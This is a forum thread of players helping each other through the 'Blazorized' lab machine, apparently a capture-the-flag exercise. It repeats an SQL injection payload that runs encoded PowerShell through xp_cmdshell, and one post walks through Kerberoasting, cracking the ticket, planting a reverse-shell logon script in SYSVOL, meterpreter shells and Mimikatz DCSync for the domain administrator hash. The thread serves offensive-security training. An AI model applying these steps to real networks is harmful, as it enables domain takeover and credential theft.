[osamy7593]

I need to know what tells us to set login.bat as ssa user

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed

[M4nasCieL]

Guys how to get out of  blazorized\nu_1055 ? im still stuck here

[imassxck]

Guys how to get out of  blazorized\nu_1055 ? im still stuck here

at "Check Duplicate post titles"

payload is this

1'; EXEC master.dbo.xp_cmdshell 'powershell -e <Base64> ...';--

[DeDeLaPouille]

Hi !

I have a shell as ssa_6010, but when i want to use Invoke-Mimikatz, my shell dies out.

Anyone has an idea why or has got this problem ?

It worked with meterpreter indeed,

Thx to @AAAABBBBCCCCDDDD and @WesleyFrench for the help   !!

[M4nasCieL]

Guys how to get out of  blazorized\nu_1055 ? im still stuck here

at "Check Duplicate post titles"

payload is this

1'; EXEC master.dbo.xp_cmdshell 'powershell -e <Base64> ...';--

no im in the shell already,  i'm still at user nu_1055, how to get in user RSA_4810?

---

Guys how to get out of  blazorized\nu_1055 ? im still stuck here

at "Check Duplicate post titles"

payload is this

1'; EXEC master.dbo.xp_cmdshell 'powershell -e <Base64> ...';--

no im in the shell already,  i'm still at user nu_1055, how to get in user RSA_4810?

nvm i finnaly got it bruhhhh i feel so stupid with hashcat shit *Evil-WinRM* PS C:\Users\RSA_4810\Documents>

[david911]

1. nmap as the first action, found ports open:
    1. 80 - http
    2. 1443 - mssql
    3. 135/445 - smb
    4. 9389 - ldap

    try collect account and sensitive data from web&smb, no luck.
    try simple user enum for ldap, no luck
    try anonymous mssql, no luck

2. thus focus on http
    try brute subdomain, get api/admin
    try login, found .net dlls, download it and disassemble it. know how jwt key construct
    try login with jwt key, success
    no sensitive data on admin panel, try every xhr with single quotes, sql injection succ

3. shell with NU 1055, whoami /all, normal user permission
    try enum user, got tons
    under c:\Users, there's only RSA 4810 / SSA_6010 / Administrator and NU 1055, it suppose to be a signal from creator
    try mimikatz, can not work
    try winPEA, infomation useless
    try sherlock, no luck
    try accesschk, try replace binaries, ACCESS DENY, no luck
    try kerberoast to steal hash, keep throw exception, netstat shown UDP port like exploded, reset machine
    try kerberoast, (i am not counting on this)
setspn -L to query any SPN bind to RSA 4810/SSA 6010/ADMIN, no?, then -R register dummies
        Invoke-Kerberoast/Get-DomainSPNTicket retrieve the encrypted NTLM hash
ONLY RSA_4810 works
john to crack it, mode krb5tgs. surprise MF, cracking takes only 10 second

4. evil-winrm login as RSA_4810
whoami /all, normal user. what the fuxk, privileges almost same with previous one
in this case, I have to google it ....

5. saw this topic, follow steps
    revshell.com to create a base64 encoded powershell script, then save as aaaaa.bat in current directory
copy aaaaa.bat to 3FXXXXXX
** Set-DomainUser to change SSA_6010 startup script (DAMN GENIUS)
try mimikatz after get shell of SSA_6010
mimikatz run good, dcsync then Administrator hash on hand. evil-winrm connect.

[konchan]

Hi guys, Why u guys can run SharpHound.ps1 on host. It didnt show any response to me

[macavitysworld]

after write spn what can i do

Read further back in the thread, where you'll find the answer multiple times.

okay i get the shell as rsa but whan i put powershell -e ......   in C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23\login.bat .. no rev shell back

Are you also doing

Set-ADUser -Identity SSA_6010 -ScriptPath 'A32FF3AEAA23\login.bat'

?

And are you trying to catch it with metasploit? I used a  meterpreter reverse tcp shell and it didn't take more than a minute for the listener to catch

---

Hi !

I have a shell as ssa_6010, but when i want to use Invoke-Mimikatz, my shell dies out.

Anyone has an idea why or has got this problem ?

Try another shell would be my guess. Like I said to dude above, try a meterpreter shell

Could you be more specific about the meterpreter shell? what payload? with msfvenom?

Nothing too fancy, get a meterpreter shell as ssa using the basic windows/x64/reverse_tcp, then load kiwi extension and use dcsync_ntlm administrator

---

I need to know what tells us to set login.bat as ssa user

check the properties of  .bat found in scriptpath

[inactive]

guys what's wrong?

evil-winrm -u 'RSA_4810' -p 'Ni*' -i 10.10.11.22

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winr...completion

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1

[imassxck]

guys what's wrong?

evil-winrm -u 'RSA_4810' -p 'Ni*' -i 10.10.11.22

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winr...completion

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1

evil-winrm -u 'RSA_4810' -p "(Ni...)" -i 10.10.11.22
the password includes  parentheses  () .